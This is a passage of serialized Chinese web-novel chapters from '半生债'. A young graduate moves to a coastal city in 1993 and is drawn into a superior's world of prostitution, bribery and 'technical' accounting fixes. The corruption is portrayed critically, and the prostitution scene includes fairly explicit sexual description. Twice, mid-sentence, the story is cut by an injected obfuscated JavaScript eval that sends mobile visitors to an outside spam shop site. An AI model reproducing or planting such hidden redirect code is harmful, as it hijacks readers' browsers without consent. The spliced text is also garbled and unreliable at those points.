东海市？这个名字对王霖来说，遥远得像天边的海市蜃楼。他只在课本上见过海——每月两次大潮，不知会将人推往何处。羡慕、不安、茫然，还有被时代浪潮抛在身后的恐慌，瞬间淹没了他。他看着莉莉眼中跳动的、对陌生世界的憧憬，第一次感到两人之间可能被拉开一道无形的鸿沟。 就在他心乱如麻时，莉莉握住了他的手，她的手掌温暖而略有薄茧。“王霖，”她声音很轻，却清晰，“你愿不愿意……跟我一起去？我们一起去东海。我让亲戚也帮你问问。” 那句话，像黑暗湍流中突然抛来的缆绳。没有华丽的承诺，没有虚妄的蓝图，只有基于现实的、孤注一掷的邀约，和掌心传来的不容置疑的温度。若这是债，便一起欠下吧——他心里闪过这个念头。 命运在这里，轰然转向。王霖回到山里，办各种手续，在一片不解与担忧的目光中，收拾起简单的行装——几件衣服，几本最重要的书，毕业证书用油纸仔细包好。没有浪漫的私奔，只有两个被时代浪潮推搡着的年轻人，攥着彼此的手，攥着那点微薄的希望，踏上了东去的列车。 汽笛长鸣，车轮撞击铁轨的声响坚定而决绝。故乡的青山在车窗外飞速倒退，模糊，最终消失在地平线下。前方，是广袤陌生、平坦到令人心悸的中原，是传说中咸涩而充满未知的海洋气息，是一个名叫“东海”的、完全陌生的终点。 王霖望着窗外流动的、与故乡截然不同的风景，又看向身旁因疲惫而靠着他入睡的莉莉。她的圆脸在车厢晃动斑驳的光影里，安宁如故乡秋日的山峦。他轻轻握紧了她的手。掌心里，没有记忆中那片令人心悸的、带着金色绒毛的光晕，只有同样粗糙的温暖，和一种沉甸甸的、将命运系在一处的实在。 那一刻，他忽然想起莉莉父亲沉默的托付，想起莉莉母亲笑眼中的期盼，想起那个热闹的、接纳了他的大家庭。一种混杂着感激、责任与隐隐不安的复杂情绪，像车厢外渐浓的暮色，慢慢笼罩了他。他接住的不仅是一个姑娘的手，还有一个家庭的信任，一份需要他用半生去履行的、无声的承诺。 风陵渡口，一别三秦。 叶子随风，去了她该去的云端。 而他与莉莉，共乘一舟，自此漂向茫茫人海。他们带走的，不仅是简单的行囊，还有身后那片土地上，两个家庭沉甸甸的瞩望。 身后，是山，是托付，是再也回不去的安稳。 前方，是海，是无尽的未知，也是他们共同的、必须亲笔书写的“债”与“偿”——那是对彼此命运的债，对远方父母的债，对这段携手闯荡人生的、无法预知结局的债。 火车在夜色中隆隆向前，将一切熟悉的风景碾碎在身后。王霖闭上眼睛，感到莉莉均匀的呼吸拂过他的脖颈。他知道，从这一刻起，他欠这个姑娘，欠她那沉默的父亲和慈祥的母亲，欠那个热闹的大家庭，一份需要用一生去丈量轻重的情义之债。 这债，他背上了，便再也卸不下来。 第十章完 4000字 11. 《半生债》中卷 第一章·潮海暗涌 《半生债》中卷第一章·潮海暗涌 作者茂林花开 火车碾过铁轨的轰鸣渐弱，东山省东海市的轮廓在薄暮里铺展开来。王霖把脸贴在冰凉的车窗上，呵出的白雾瞬间被窗外涌来的潮气洇散。远处，海平面托着最后一缕夕照，将林立的脚手架镀成金红色，塔吊的钢铁长臂缓缓转动，像蛰伏的巨兽舒展筋骨。风裹着水泥的粗粝与海水的咸腥钻进通风口，陌生，却带着一股奔涌的劲儿，像他胸腔里按捺不住的憧憬。 “到了。”张莉的声音轻得像落潮的浪，手指死死攥着帆布行李袋的提手，指节泛白。这是她第一次见海，也是第一次离开秦岭深处，脚下的每一寸震动，都连着对未知的惶恐。行李袋里裹着两人全部家当：几件换洗衣物、各自的毕业证，还有一瓶雪花膏——那是她能拿出的最体面的物件，藏着少女未脱的青涩。 出站口的热浪裹挟着各色方言扑面而来——山东腔的洪亮、东北调的爽朗、江浙话的软绵，混着他们骨子里的西北土语，在人潮里撞出细碎的声响。这座稳居全国经济前三的战略新城，处处都在生长：玻璃幕墙的写字楼反射着橘红霞光，几十米高的脚手架上，工人身影如蚁群挪动，打桩机的撞击声“咚、咚、咚”，沉厚得像城市的心跳，敲得人心里发紧。 “这边！”人群里，穿法院制服的男人挥着手，深蓝面料衬得身形格外周正。是潘美，比张莉早一年来东海扎根的远房亲戚，酷似兵马俑的脸，目测一米七五左右，敦实，亲切，眼神透着公职人员特有的妥帖。 接过行李时，王霖触到他掌心的薄茧，指甲修剪得齐整干净——那是一种远离田埂与泥土的体面，让刚从农家走出的他，莫名有些局促。 夜色漫上来时，城市霓虹把王霖的眼晃得发花。潘美开车绕经新城区，彩灯勾出商场的流线型轮廓，录像厅门口的港星海报在灯光下艳光四射，街角咖啡馆飘出的焦香，是他从未闻过的味道。晚饭时，他跟着喝了六瓶啤酒，就着清蒸海虾的鲜，脑袋不沉，脚步却发飘，像踩在老家丹江的软沙上，虚浮又茫然。 他心里清明，1993年的东海，机关单位新入职大学生月薪不到150元，往后的日子需掰着指头算计，一顿饭超十块便是奢侈。 临别时，潘美拍了拍他的肩，语气里藏着几分过来人的郑重：“这儿和咱商南不一样，机会多，坑也深。眼睛得亮，脚得踩实，别被虚头晃了神。莉莉进银行是份好差事，正式工月薪能到一百八，算上补贴月入逾两百，但拉存款的坎难跨，我已跟储蓄部李主任打过招呼，先帮她撑过试用期。” 银行临时宿舍的木板床硌得慌，窗外的光影在天花板上流动，像未散的酒意。张莉靠在他肩头，呼吸均匀，手指仍无意识勾着他的衣角——那是在老家土炕上养成的习惯，安稳又实在。王霖轻轻覆上她的手，掌心的厚茧蹭着她的皮肤，忽然就想起渭南的瓜地，想起张莉父亲把女儿的手交到他手里时，那句沉在喉咙里的“托付你了”。这份沉甸甸的托付，是他背过丹江、带到这片陌生海域的第一笔债。 人事局的陈同志翻开蓝色登记簿时，目光在王霖的大学毕业证上顿了顿，抬眼时语气带着几分漫不经心的笃定：“随便挑。”那语气像老家集市上的牲口贩子，只是此刻，被挑选的是岗位，而他们这些陕西省财经学院的毕业生，是沿海城市争抢的“香饽饽”。王霖选了东山省经济技术开发中心东海分部财务部，事业单位编制，试用期三个月月薪135元，转正后220元，月发8元餐补；张莉则按潘美事先打点好的，进了市工商银行储蓄部，试用期月薪120元，转正后180元，另加五元交通补贴与绩效奖金，待遇在同期毕业生中堪称优厚。 报到那天，财务部韩科长握着他的手摇了又摇，微胖的脸上堆着笑，眼睛眯成两条缝，柔软的手指握久了沁出细汗：“小王啊，陕财的高材生，好好干！在这儿，有真本事就不愁出头。”张莉那边，李主任念及她的出身与潘美的举荐，格外关照，将她安排在临街窗口，还悄悄减了三成试用期存款任务，语气恳切：“陕财出来的，底子扎实，准能上手。” 日子在新奇与安稳里铺开。“西北来的大学生”这句话，成了他在东海的临时通行证：菜摊老板会多塞一把小葱，公交售票员会耐心指对路线，馄饨店老板娘端上碗时，总不忘添一句“多吃点，读书费脑子”。王霖平日极为节俭，早饭只啃两个一毛五的白面馒头，食堂午饭固定一荤一素（一块三），悉数将结余攒下，只为兑现对张莉的承诺——租一间城郊月租三十元、带厨房的小平房，需攒足两月才够押金与首月租金。 张莉很快被存款任务绊住了脚步。市工行给每位储蓄员定了月存五万的指标，试用期减半至两万五，可对无依无靠的她而言，依旧难如登天。她白日守在窗口耐心接待客户，入夜便顶着烈日沿街发传单，半个月下来仅拉到八千块，夜夜辗转难眠——这份来之不易的工作，她断断丢不起。潘美得知后立刻对接熟人：法院同事凑了一万二存进她的窗口，做建材生意的老乡也将两万五工程款存入，还许诺后续流动资金皆往这儿放。靠着这份帮扶，张莉首月便攒够两万八，考核获评优秀，李主任当即许诺她转正后调去贵宾窗口。 入职一个月后的周末，潘美抽空带他们去看海。当那片蔚蓝毫无预兆地撞进视野时，王霖猛地屏住了呼吸——不是十四寸黑白电视里静止的画面，是奔涌的、鲜活的浩瀚，潮水一层层卷上来，拍在沙滩上“哗、哗”作响，带着吞噬一切又包容一切的力量。海风扑在脸上，咸腥气钻进鼻腔，竟让他生出几分莫名的自由感。 沙滩上的人衣着单薄，男人赤着膊，女人穿连体泳衣，大片肌肤露在阳光下，坦荡得让他心慌。在商南，女人夏日也得裹着长袖，男人光膀子要被人戳脊梁骨说“不正经”，可在这里，身体成了风景的一部分，无拘无束。 王霖脱鞋踩进海水，凉意顺着脚踝往上窜，细沙随退潮从脚底溜走，痒得人发颤。他一步步往深处走，浪花打湿衬衫下摆，忽然就笑了，张开双臂，像要把这陌生的自由抱进怀里。眼角余光瞥见穿泳衣的女人，又慌忙移开目光，心跳快得像要蹦出来——他想起叶子，那个曾和他一起在丹江边念诗的姑娘，若是她来，该会穿着白裙站在浪尖，念一句“面朝大海”吧。 转头时，看见张莉蹲在沙滩上捡贝壳，眉头微蹙，专注得像在田里挑饱满的种子。裤腿卷到膝盖，结实的小腿沾着沙粒，被阳光晒得泛着麦色。王霖走过去，把捡来的完整海螺递到她手里。 “真好看。”张莉对着阳光转动螺壳，纹路里映出细碎的光。 王霖看着她被海风吹红的脸颊，心里某个角落轻轻塌陷。叶子是远方的诗，而张莉，是眼前能握住的实在日子。他该知足了。 电力公司的考察通知来得猝不及防，海滨变电站项目审计，韩科长亲自带队，只带了司机老刘和王霖。出发前，韩科长把他叫到办公室，指尖敲着桌面，语气意味深长：“到了那边，多看多学少说话。电力公司是利税大户，关系得处活络。”顿了顿，眼角漾开一丝隐晦的笑，“顺便也放松放松，见识见识。” 考察很顺利，新变电站的银色设备在阳光下闪着冷光，赵经理汇报工作时语速飞快，数据一串串砸过来，像算盘珠子噼啪作响。午饭在公司食堂，菜式简单但分量足，招待标准每人三块，抵得上王霖两日工资，赵经理端着酒杯挨个敬，轮到王霖时，笑着说“小王年轻有为”，酒杯碰撞的脆响里，藏着说不清的客套。 下午自由活动，王霖又去了海边，捡了几个模样别致的海螺，想着带给张莉。四点钟回到宾馆——电力公司安排的海滨疗养院贵宾楼，推窗就是无垠的海，房间宽敞，地毯软得让人发飘。他换上宾馆备好的丝滑睡衣，料子贴在皮肤上，像有无数细虫在爬，陌生又暧昧。连日的兴奋耗光了力气，躺下没多久，就沉沉睡了过去。 敲门声很轻，“笃、笃、笃”，缓得像猫爪挠在心上，把他从睡梦里拽了出来。王霖迷迷糊糊看表，六点半，该是叫吃晚饭了。他揉着眼睛起身开门，一股浓烈的香气扑面而来——不是张莉用的三块八雪花膏的淡香，是甜腻得发齁的胭脂味，混着劣质花露水的呛人气息，熏得他下意识后退半步。 门口立着个女人，瘦高个，红色紧身裙绷得身体曲线毕露，领口开得极低，嶙峋的锁骨在灯光下泛着冷白。嘴唇涂得鲜红，像刚饮过酒，眼神黏腻地扫过他，脸上堆着程式化的笑，浮在皮肉上，没半分真切。 “先生，我是来服务的。”声音刻意掐得娇柔，带着本地口音的拖腔，黏糊糊地裹过来。 王霖愣住了，脑子一时转不过弯：“什么服务？” 女人没答，侧身就从他身边滑进房间，动作熟稔得像回自己家。高跟鞋踩在地毯上无声，红色裙摆扫过他裤腿时，带起一阵香风。她径直走向浴室，回头抛来一个媚眼，声音勾人：“等我会儿，冲个凉就好，很快。” 浴室门没锁，虚掩着，水声“哗啦”一声涌出来。王霖僵在原地，大脑一片空白，迟钝的神经终于捕捉到那层隐晦的意思，心跳瞬间如擂鼓。浴室是磨砂玻璃，水汽氤氲中，女人的身影朦胧浮动：抬手撩起长发，弯腰冲洗小腿，曲线在雾气里扭曲又舒展，像潜藏在水底的生物，勾得人眼晕。他忽然反应过来，这是电力公司组安排的，是韩科长口中的“见识见识”。 十来分钟后，水声停了。女人裹着浴巾出来，湿发披在肩头，刺鼻的香水味淡了些，只剩宾馆廉价沐浴露的花香。她走到床边坐下，浴巾松垮地搭在肩上，露出大半肩膀和胸口，皮肤白得泛青，像久不见光的鱼腹，透着病态的凉。没等王霖开口，她便抬手解开浴巾系带，布料轻飘飘滑落，落在地毯上。 王霖的呼吸骤然停滞。女人赤身站在灯光下，瘦却匀称，光影在她身上投出明暗交错的沟壑。最让他血液冻结的，是双腿交汇处那片茂密的黑色阴影，在苍白肌肤的映衬下，黑黢黢、毛绒绒，泛着幽暗的光，像深不见底的海沟，藏着他从未窥见的隐秘。 他的目光像被黏住，挪不开半分，本能的燥热顺着脊椎往上窜，烧得耳根发烫，他心生羞耻，想闭眼回避，视线却被牢牢吸在那片阴影上，陷入“挪不开又不忍直视”的撕扯。 “你出去！”王霖猛地提高声音，胸腔里翻涌着羞耻与愤怒，指尖因用力而泛白，“再不出去我报警了！” 女人的笑容瞬间僵住，眼神有些狐疑，却没再多言，转身快速穿上衣服，嘴里嘟囔着“神经病、装正经”，摔门而去。 门“砰”地一声关上，房间里重归寂静，只剩残留的花香和他急促的呼吸。王霖跌坐回椅子上，浑身控制不住地发抖——不是害怕，是混杂着羞耻、愤怒，还有一丝连自己都不愿承认的兴奋。 那片黑色阴影在脑海里反复闪现，像藤蔓一样缠上来，勒得他喘不过气。这就是繁华城市藏在霓虹后的暗面？ 鬼使神差地，他站起身，蹑手蹑脚走到韩科长的门边，贴耳倾听。走廊里静悄悄的，只有远处传来的脚步声。 他轻轻拉开一条门缝，目光投向走廊尽头——韩科长的房间，门缝下透出昏黄的灯光。脚步像被钉在地上，理智告诉他该转身离开，可身体却不受控制地踮脚走了过去。 离门几步远时，细碎的声音钻了进来：女人的娇笑、男人的低语，还有床板轻微的晃动声。那笑声和刚才那个女人不同，却同样黏腻，裹着酒气，让人不适。 门没关严，留着一道窄缝。王霖的心跳快要撞碎胸膛，他屏住呼吸，轻轻推开一丝缝隙，房间里的景象瞬间撞进眼里，让他血液凝固。 韩科长赤身躺在床上，白皙肥胖的身体在灯光下泛着油腻的光，肚腩像发酵过度的面团，堆在腰上。一个娇小的女人骑在他身上，背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196352|197133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对门口，长发披散，随着动作起伏晃动。她穿着黑色蕾丝内衣，几根细带勉强兜住身体，像脆弱的蛛网，稍一用力就会断裂。 房间里弥漫着酒气与香水的浊味，床头柜上，红酒瓶空了大半，XO酒瓶横倒在地，琥珀色的液体浸湿地毯。韩科长的肥短手指嵌进女人白皙的腰臀，力道粗鲁，眼神迷醉，另一只手夹着燃了一半的香烟，烟灰长得摇摇欲坠。女人俯身呢喃，两人的笑声黏糊糊的，透着腐朽的甜，每一个动作都透着韩科长的熟练与放纵，仿佛早已习惯了这样的场面。 王霖僵在原地，浑身冰凉。时间仿佛静止了，十几秒，又像一个世纪。女人晃动的长发、韩科长迷离满足惬意的眼神、凌乱的床单、散落的衬衫领带，还有那片挥之不去的黑色幽暗的三角区，在他眼前循环播放，构成一幅荒诞又刺眼的画面。突然，韩科长的目光扫向门口。 四目相对的瞬间，王霖如遭雷击，猛地后退，门轻轻合上，发出细微的声响。他转身，踮着脚，几乎是逃一般地冲回自己的房间，关门，背靠着门板大口喘气，冷汗浸透了睡衣。 一夜无眠。亢奋、羞耻、困惑、愤怒，还有一丝莫名的空洞，像潮水般在胸中翻涌。他睁着眼看天花板，直到晨光刺破窗帘缝隙，那些画面仍在眼前盘旋，挥之不去。 七点半，敲门声准时响起，韩科长的声音爽朗依旧：“小王，吃早饭了！” 王霖深吸一口气，压下翻涌的情绪，拉开门。韩科长站在门口，衬衫熨得平整，领带系得端正，头发梳得一丝不苟，脸上挂着温和的笑，和昨夜那个放浪形骸的男人判若两人。只有镜片后那一丝不易察觉的探究，泄露了昨夜的隐秘。 “睡得还好吗？”韩科长拍了拍他的肩。 “好……挺好的，科长。”王霖的声音干巴巴的，像被海风抽干了水分。 韩科长的笑容更深了，带着几分心照不宣的意味：“年轻人，多见识见识是好事。走吧，赵经理在楼下等咱们。” 自助餐厅里，水晶吊灯折射出璀璨的光，雪白的桌布上摆着银质餐具，粤式早点精致小巧，散发着诱人的香气。赵经理热情地招呼着，韩科长谈笑风生，从项目审批聊到昨夜的卡拉OK，语气轻松惬意。王霖埋着头喝粥，不敢抬头，生怕眼神泄露了秘密，勺子碰到碗沿，发出清脆的声响，在喧闹里格外突兀。 “小王，”韩科长忽然看向他，语气带着几分戏谑，“昨晚的节目，还满意吧？” 王霖的手猛地一抖，粥洒出几滴在桌布上。他抬头，撞进韩科长和赵经理笑眯眯的目光里，那些目光里有试探，有玩味，还有一种“大家都是自己人”的笃定。 “满意……满意。”他听见自己说，声音轻得像蚊子叫。 韩科长大笑起来，转头对赵经理说：“你看，年轻人就是害羞。不过小王是正经人，名牌大学毕业，将来有大前途。” 回程的车上，韩科长闭目养神，车厢里静悄悄的，只有发动机的声响。快到单位时，他忽然睁开眼，侧头看向王霖，声音压得很低，带着几分告诫：“小王，在这个位置上，有些事只能看，不能说。不是让你学坏，是得懂这世界的规矩。水至清则无鱼，明白吗？” 王霖点点头，心里一片混沌。懂吗？他好像懂了，又好像更糊涂了。 从那以后，韩科长对他愈发亲近，常叫他去办公室看报表，带他参加重要饭局和会议，私下里还说：“你这孩子，嘴严，眼亮，是块好料子，以后有我照着你。”那些饭局上，他见惯了人与人之间的攀附、公款铺张的奢靡，见惯了有人将“规矩”挂在嘴边行违背良心之事，只能默默缩在角落，做个沉默的旁观者，心底的不适感如针芒在背。 那个夜晚成了王霖心里最隐秘的疤，带着海水的咸腥和道德的腐朽，他从未对任何人提起，包括张莉。张莉转正后，靠着潘美介绍的客户，业绩稳居前列，还拿到了绩效奖金，特意用半个月工资给王霖买了件新衬衫。吃饭时，她总会把肉夹到他碗里，柔声问：“你最近怎么总发呆？是不是工作太累了？” “没有，”王霖摸摸她的头，语气尽量柔和，“就是在想工作上的事，慢慢适应就好了。”他没说谎，只是在适应——适应这座城市的昼夜两面，适应霓虹与暗涌，适应那个既让他向往又让他不安的成人世界。 又一个周末，王霖独自去了海边。秋日的海风凉了，沙滩上空寂无人，潮水卷着细沙涌上来，又退下去，留下浅浅的印痕，转瞬又被抹平。他脱鞋走进海水，冰冷的海水没过脚踝，寒意顺着皮肤往上窜，让混沌的脑子清醒了几分。 他蹲下身，用手指在沙滩上写下一个“债”字。潮水涌来，字迹被漫过，模糊，消散。他又写，潮水再抹，反复几次，指尖被沙粒磨得发疼。 老家的山是实的，爬过一道还有一道，安稳可靠。可这海是活的，潮起潮落，永远不知道下一秒会带来什么，带走什么。他从山里带来的债——对父母的愧疚，对张莉的责任，对家族的承诺，在这片浩瀚面前，既渺小又沉重。这些债，是他在这流动的世界里，唯一能抓住的根。 落日沉入海平面，把天空和大海染成一片猩红。王霖站起身，拍掉手上的沙粒，转身朝城市走去。身后，最后一个“债”字被潮水温柔吞噬，前方，霓虹已经亮起，像另一片翻滚的海，藏着他要还的债，要走的路，还有那些深不可测的暗潮与微光。 海风在身后推着他，像命运的手，轻得不易察觉，却带着不容抗拒的力量。潮声在耳边低语，说着他尚不能完全读懂的话语。他知道，从今夜起，有些东西彻底变了——不是轰轰烈烈的剧变，而是如潮水侵蚀沙滩般，悄无声息地，在他的灵魂上，刻下了第一道痕。 这痕很浅，几乎看不见。 但潮水还会再来。 夜夜都会来。 第一章·潮海暗涌完（字数6896） 12. 《半生债》中卷 第二章·暗流礁石 《半生债》中卷第二章·暗流礁石 回东海市的首个周一，王霖在财务部门口立了片刻，三次深呼吸压下心底翻涌的余波，才推门而入。暖气裹着杂糅气息漫过来：旧账本的纸墨香、印泥的沉腻油味，混着老会计们茶杯里飘出的茉莉香，缠得人呼吸发沉。韩科长正立在窗边，白衬衫袖子挽至小臂，指尖捏着洒水壶给文竹浇水，动作慢得刻意，像在演一场妥帖的体面戏。 “小王来了？”他头未回，语气平淡无波，“把上周电力公司的票据理了，按项目分类贴齐。” 王霖应着坐下，工位是靠门第三张，桌面被前任磨得露了原木底色，透着几分被遗弃的陈旧。铺开票据时，一张海滨疗养院的发票突然刺痛了指尖，昨夜那些暧昧刺眼的片段猝然涌来，他飞快将其塞进住宿类票据堆底，妄图用纸张掩盖那层见不得光的褶皱。 “贴仔细点。”韩科长的声音陡然从身后传来，手轻轻搭在他椅背上，温热的呼吸扫过耳际，“票据是财务的脸面，齐整了，审计那边才少找麻烦。” 王霖脊背一僵，余光瞥见那只手——昨夜这只手还嵌在陌生女人的腰臀间，此刻却正经地指点着一张十六块五的出租车票。这种割裂感像根细刺，扎得他胃里阵阵发搅，只能埋着头胡乱应承。 正午食堂人声嘈杂，张莉从银行赶来，枣红色新毛衣衬得她眉眼发亮，马尾扎得利落，额头沾着细碎刘海，手里攥着两个饭盒快步走来。“你们食堂的红烧带鱼，我多打了一份。”她把饭盒推过去，眼里藏不住的雀跃。 带鱼炸得外酥里嫩，酱汁裹着家常鲜气，却压不住王霖脑海里疗养院自助餐厅的清蒸石斑，韩科长优雅剔刺的模样与眼前的烟火气重叠又割裂。他勉强夹了一块，味同嚼蜡。 “潘美哥说这周末请咱们吃饭，他爱人从老家来了，带了自腌腊肉。”张莉咬着筷子，声音轻软。潘美是他俩在东海唯一的同乡，体制内的安稳曾是王霖的向往，此刻却只剩莫名的沉重。 周五下班前，韩科长把王霖叫进办公室，反手带上门的瞬间，空气都沉了几分。他从抽屉摸出个牛皮纸信封，轻轻推过来：“电力公司给的辛苦费，一点心意。” “科长，这我不能要。”王霖端坐不动，目光落在信封上，那薄薄一层纸仿佛裹着千斤重量。 “拿着吧，规矩。”韩科长笑了，语气里藏着不容置喙的熟稔，“老刘有，我也有，人家谢咱们‘发现’问题，也谢咱们‘解决’问题。”他顿了顿，补充道，“下周三有个港商饭局，你跟我去见见世面。” 最终，信封被王霖塞进挎包最里层。骑车回宿舍的路上，那信封像块烧红的烙铁，烫得他后心发紧。等红灯时，路边录像厅的《英雄本色》海报撞入眼帘，周润发风衣猎猎，眼神睥睨，海报边角潦草地写着“通宵连放”。这座城市跑得太快，快得让他来不及辨清对错，就被裹挟着往前冲。 潘美家在老城区机关家属院，三层红砖楼爬满枯黄爬山虎，楼道里飘着炒菜油烟，谁家的电视机正放《渴望》，毛阿敏的歌声缠缠绵绵从门缝里钻出来。秀琴系着蓝布围裙，圆脸盘上满是憨厚，一口商南口音格外亲切，拉着张莉的手不停念叨“咱商南姑娘水灵”，又转头叮嘱王霖好好待张莉。 饭桌上的老家味熨帖着肠胃，潘美开了即墨老酒，酒过三巡，他摘了眼镜揉着鼻梁，声音压得极低：“在这地方，光有本事没用，得懂规矩。该说的说，该哑的哑；该碰的碰，不该碰的坚决不沾。” “又瞎教孩子！”秀琴嗔怪着瞪他。 “他们必须懂。”潘美语气郑重，“韩科长的岳父是计委老领导，他带你见的场面，别学也别外说，烂在肚子里就是护身符。”王霖端着酒杯的手一顿，酒液晃出细碎的涟漪。 返程时已近深夜，张莉紧紧挽着他的胳膊，环卫工人扫落叶的“沙沙”声在寂静里格外清晰。“咱不求大富大贵，就求安稳。”她轻声呢喃。王霖抬头望向夜空，城市的光吞了星光，只剩一轮模糊的月亮悬在楼宇间，他忽然想念商南的夜，星子亮得能砸进丹江里，可那样的纯粹，早在他离乡时就碎了。 周三的饭局设在东海大酒店十八楼旋转餐厅，王霖穿著单位发的深蓝色工装西服，料子硬挺却磨得脖颈发紧，领带系得太紧，勒得他呼吸不畅。韩科长替他理了理衣领：“精神点，以后这种场合多的是。” 包间里已坐了七八人，主位是两位港商：陈先生背头油亮，金丝眼镜后目光锐利；林先生穿花衬衫，挂着粗金链，满脸活络。陪坐的有招商局李主任，还有几位企业老板，角落里站着两个端茶倒水的姑娘，身形单薄，低着头，袖口磨得发毛。 王霖认出其中一个是上周在食堂见过的，叫小梅，从商南乡下过来，在酒店做临时工。她端茶时指尖微微发颤，不小心溅了几滴在林先生裤腿上，瞬间脸色惨白，慌忙弯腰道歉：“对、对不起先生，我不是故意的。” “瞎了眼？”林先生猛地踹了一脚旁边的凳子，声音尖利，“这裤子是我在香港买的，你赔得起吗？”小梅吓得浑身发抖，头埋得更低，手指抠着托盘边缘，指甲泛白，眼泪在眼眶里打转，却不敢掉下来。另一个姑娘赶紧上前替她解围，拿起纸巾蹲下身擦拭，语气卑微：“先生恕罪，我们再给您擦干净。” 韩科长和李主任视若无睹，韩科长甚至笑着给陈先生添酒：“小孩子不懂事，别扫了兴致。”陈先生淡淡瞥了小梅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196353|197133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一眼，像看一件无关紧要的物件，端起酒杯抿了一口。王霖心头一紧，他看见小梅耳后有块淤青，想来是之前犯错挨过罚。这些从农村涌进城市的少女，带着对生计的渴求，在底层挣扎，被轻视、被侮辱，连哭都要藏着掖着，她们的无奈与卑微，是这座飞速发展的城市里，最隐秘也最刺眼的暗流。 “这位是小王，我们单位的大学生，业务骨干。”韩科长适时介绍，手在他背上轻拍了下。王霖压下心头的不适，依着规矩递名片、握手，陈先生的力道沉稳，眼神像在掂量商品般扫过他；林先生酒气扑面而来，用粤式普通话笑道：“后生可畏，有空去香港，我带你见识花花世界。” 龙虾刺身、鲍鱼扣鹅掌、清蒸东星斑陆续上桌，排场十足。服务员开茅台时的轻响，像推开了一扇隐秘世界的门。韩科长与李主任一唱一和，从投资环境聊到政策优惠，陈先生话少却精准，每句都戳中要害：“税务优惠能落地？”“土地出让金有议价空间？” 酒意渐浓，林先生又开始吹嘘香港夜生活，凑到王霖身边絮叨。王霖强装笑意，却瞥见韩科长与李主任交换的眼神——和在疗养院时如出一辙，心照不宣的交易藏在眼底。他忽然想起小梅发抖的肩膀，想起那些在底层挣扎的身影，这座城市的繁华背后，藏着太多不为人知的礁石。 饭局尾声，众人举杯，王霖刻意把酒杯举得低些，这是潘美教他的规矩。茅台入喉辛辣，烧得食道发疼，也烧得他心里一片混沌。 散场后，韩科长让司机先送李主任，车里弥漫着浓重的烟酒气。“今天表现不错，陈先生夸你踏实。”韩科长闭目养神半晌，忽然开口，“他们的项目下周你负责初核，小问题灵活处理，大原则不动就行。”这话没说透，却带着明确的暗示与警告。 车在宿舍楼下停稳，韩科长降下车窗：“那个信封花了吧，买身像样的衣服，以后场面多。”王霖立在路边，看着车尾灯消失在街角，夜风卷着凉意袭来，才发觉衬衫早已被冷汗浸透，贴在背上冰凉刺骨。 他在楼下站了许久，摸向挎包里的信封，重量依旧压手。昨天去百货大楼，看中一件四十八元的羊毛衫，捏着信封在柜台前站了十分钟，终究没买——那不是干净钱。可这世上，又有多少干净钱？父亲在黄土里刨一辈子的碎银，张莉在银行领的薪水，韩科长手里的俸禄，似乎都裹着一层说不清道不明的灰。 楼道里的声控灯随着脚步声亮了又灭，一明一暗间，王霖仿佛看见小梅卑微的身影，看见韩科长意味深长的眼神，看见这座城市飞速奔跑的模样。他脚下的路，看得见开头，却望不到尽头，且早已没有回头的余地。 （第二章·暗流礁石完字数 2987） 13. 《半生债》中卷 第三章·账本内外 《半生债》中卷第三章·账本内外 香港昌荣集团东海分公司的项目资料送到财务部时，是个阴沉的早晨。铅灰色的云压得很低，办公室里的日光灯管嗡嗡作响，映得牛皮纸档案袋泛出冷硬的光泽。王霖拆开棉线扎带，新鲜的油墨味混着铜版纸特有的厚重气息扑面而来，呛得他下意识皱了皱眉。 可行性报告厚得像块青砖，扉页烫金的“昌荣集团”logo在昏暗里泛着细碎的光。他指尖划过财务预测栏，密密麻麻的数字像一群躁动的蚁群：初期投资两千八百万，三年回本，五年利润率预计达23%。纸张光滑得过分，指腹摩挲时感受不到半分烟火气，只剩一种脱离底层生计的、冰冷的奢华。 韩科长端着搪瓷茶杯踱过来，杯沿浮着几颗发胀的枸杞，水汽氤氲了他的眉眼。“重点外资项目，得仔细审。不过——”他弯腰俯身，声音压得比日光灯管的嗡鸣还低，气息里混着茶水与烟味，“陈总那边打过招呼了，有些费用可以‘技术处理’。你是聪明人，懂我的意思。” 王霖点点头，手指无意识地捻着纸页边缘，锋利的纸边蹭得指腹发疼。那些数字在他眼前骤然活了过来：固定资产折旧年限从十年延至十五年，坏账计提比例从5%下调至2%，研发费用全额资本化计入资产……每一处微调，都能让报表上的利润凭空增厚一截。这些游走在准则边缘的技巧，课本里从未提及，是这一个月来，韩科长在“顺便指点”票据处理时，有意无意透露的“行规”。 “中午一起吃个便饭？”韩科长直起身，拍了拍他的肩，“李主任也来，咱们把项目的细节捋捋。” 小饭馆的包间逼仄闷热，烟雾缭绕得看不清对面人的脸。李主任脱了藏青色外套，白衬衫腋下洇出两片深色汗渍，沾着些许饭粒。他夹起一块肥瘦相间的红烧肉，肥油顺着筷子滴在米饭上，晕开一圈褐色的渍痕：“这个项目是市里的脸面，外资落户能顶不少政绩。账面上的事……”他抬眼看向王霖，眼神里带着不容置疑的期许，“小王，你年轻，脑子活，总能想出办法。” 王霖盯着碗里被酱汁浸透的米粒，喉咙发紧。红烧肉的腻香堵在胸口，像某种缓慢蔓延的侵蚀，一点点吞掉他残存的准则。他沉默片刻，听见自己的声音隔着烟雾传出来，陌生得不像自己：“主要是土地出让金，按规定需一次性缴清，但昌荣想分三期支付，跨度两年。” 